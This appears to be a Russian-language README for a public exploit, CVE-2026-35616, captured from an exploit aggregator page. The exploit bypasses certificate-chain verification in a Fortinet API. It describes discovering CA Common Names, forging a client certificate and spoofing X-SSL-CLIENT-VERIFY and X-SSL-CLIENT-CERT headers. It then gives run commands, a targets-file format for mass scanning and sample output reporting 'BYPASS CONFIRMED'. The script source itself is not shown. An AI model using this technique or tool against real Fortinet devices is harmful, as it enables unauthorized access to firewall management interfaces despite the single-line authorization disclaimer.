Share
## https://sploitus.com/exploit?id=8020FEB3-DF5E-5D5D-8443-712494B62543
# CVE-2026-35616

> Author: **wa6n3r** | [GitHub](https://github.com/wa6n3r) | [Web](https://wa6n3r.com)

## ОписаниС

Эксплуатация уязвимости ΠΎΠ±Ρ…ΠΎΠ΄Π° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠΈ сСртификатов Π² API Fortinet. 
Π‘ΠΊΡ€ΠΈΠΏΡ‚ автоматичСски ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ²Π°Π΅Ρ‚ допустимыС Common Name (CN) ΠΈΠ· Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… источников, 
Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ клиСнтский сСртификат ΠΈ выполняСт запросы ΠΊ Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½Ρ‹ΠΌ эндпоинтам 
с использованиСм заголовков `X-SSL-CLIENT-VERIFY` и `X-SSL-CLIENT-CERT`.

> !!!**Π’Π°ΠΆΠ½ΠΎ**: Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° систСмах, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρƒ вас Π΅ΡΡ‚ΡŒ явноС Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π½Π° тСстированиС.

## ВрСбования

- Python 3.8+
- Зависимости:
  - `requests`
  - `cryptography`
  - `urllib3`
- ΠžΠΏΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ: `openssl` (для Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½ΠΎΠ³ΠΎ обнаруТСния CA Ρ‡Π΅Ρ€Π΅Π· TLS handshake)

## Установка

```bash
# ΠšΠ»ΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°
git clone https://github.com/wa6n3r/CVE-2026-35616
cd CVE-2026-35616

# Установка зависимостСй
pip install -r requirements.txt

## ИспользованиС
# Π‘Π°Π·ΠΎΠ²Ρ‹ΠΉ запуск
python3 exploit.py

# Π‘ ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ΠΌ Ρ†Π΅Π»ΠΈ ΠΈ ΠΏΠΎΡ€Ρ‚Π°
python3 exploit.py  [PORT]

# ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹:
python3 exploit.py 192.168.1.100
python3 exploit.py 10.0.0.50 8443

# Π€ΠΎΡ€ΠΌΠ°Ρ‚ Ρ„Π°ΠΉΠ»Π° Ρ†Π΅Π»Π΅ΠΉ (targets.txt)
ΠŸΡ€ΠΈ массовом тСстировании создайтС Ρ„Π°ΠΉΠ» targets.txt с ΠΎΠ΄Π½ΠΈΠΌ Ρ†Π΅Π»Π΅Π²Ρ‹ΠΌ адрСсом Π½Π° строку:
192.168.1.100:443
10.0.0.50:8443
fortigate.internal

# Π’Ρ‹Ρ…ΠΎΠ΄Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹
ΠŸΡ€ΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΌ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ скрипт создаёт:
results/bypass_results___.json β€” Π΄Π΅Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΡ‚Ρ‡Ρ‘Ρ‚ Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ JSON с:
Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ CN
Бтатусами ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ² ΠΏΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ эндпоинту
ΠŸΡ€Π΅Ρ„ΠΈΠΊΡΠ°ΠΌΠΈ ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ² для Π°Π½Π°Π»ΠΈΠ·Π°

# Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° Π²Ρ‹Π²ΠΎΠ΄Π°
[ wa6n3r ]  β—†  GH: github.com/wa6n3r  β—†  WEB: wa6n3r.com

[*] CVE-2026-35616 Target: https://192.168.1.100:443

[*] Discovering CA CNs from multiple sources...
  [β€’] TLS CA CN: 'fortinet-ca2'
  [β€’] ZTNA CA CN: 'support'
[*] Found 2 candidate CN(s): fortinet-ca2, support

[*] Testing 2 candidate CN(s) for bypass...
  [+] CN='support' | HTTP 200 | retval=1 | BYPASS CONFIRMED

[*] Probing all cert_chain endpoints with CN='support'...

  GET   /api/v1/system/capabilities

        HTTP 200: '{"result": {"retval": 1, ...}}'

  [+] Results saved to: results/bypass_results_192.168.1.100_443_20260101_120000.json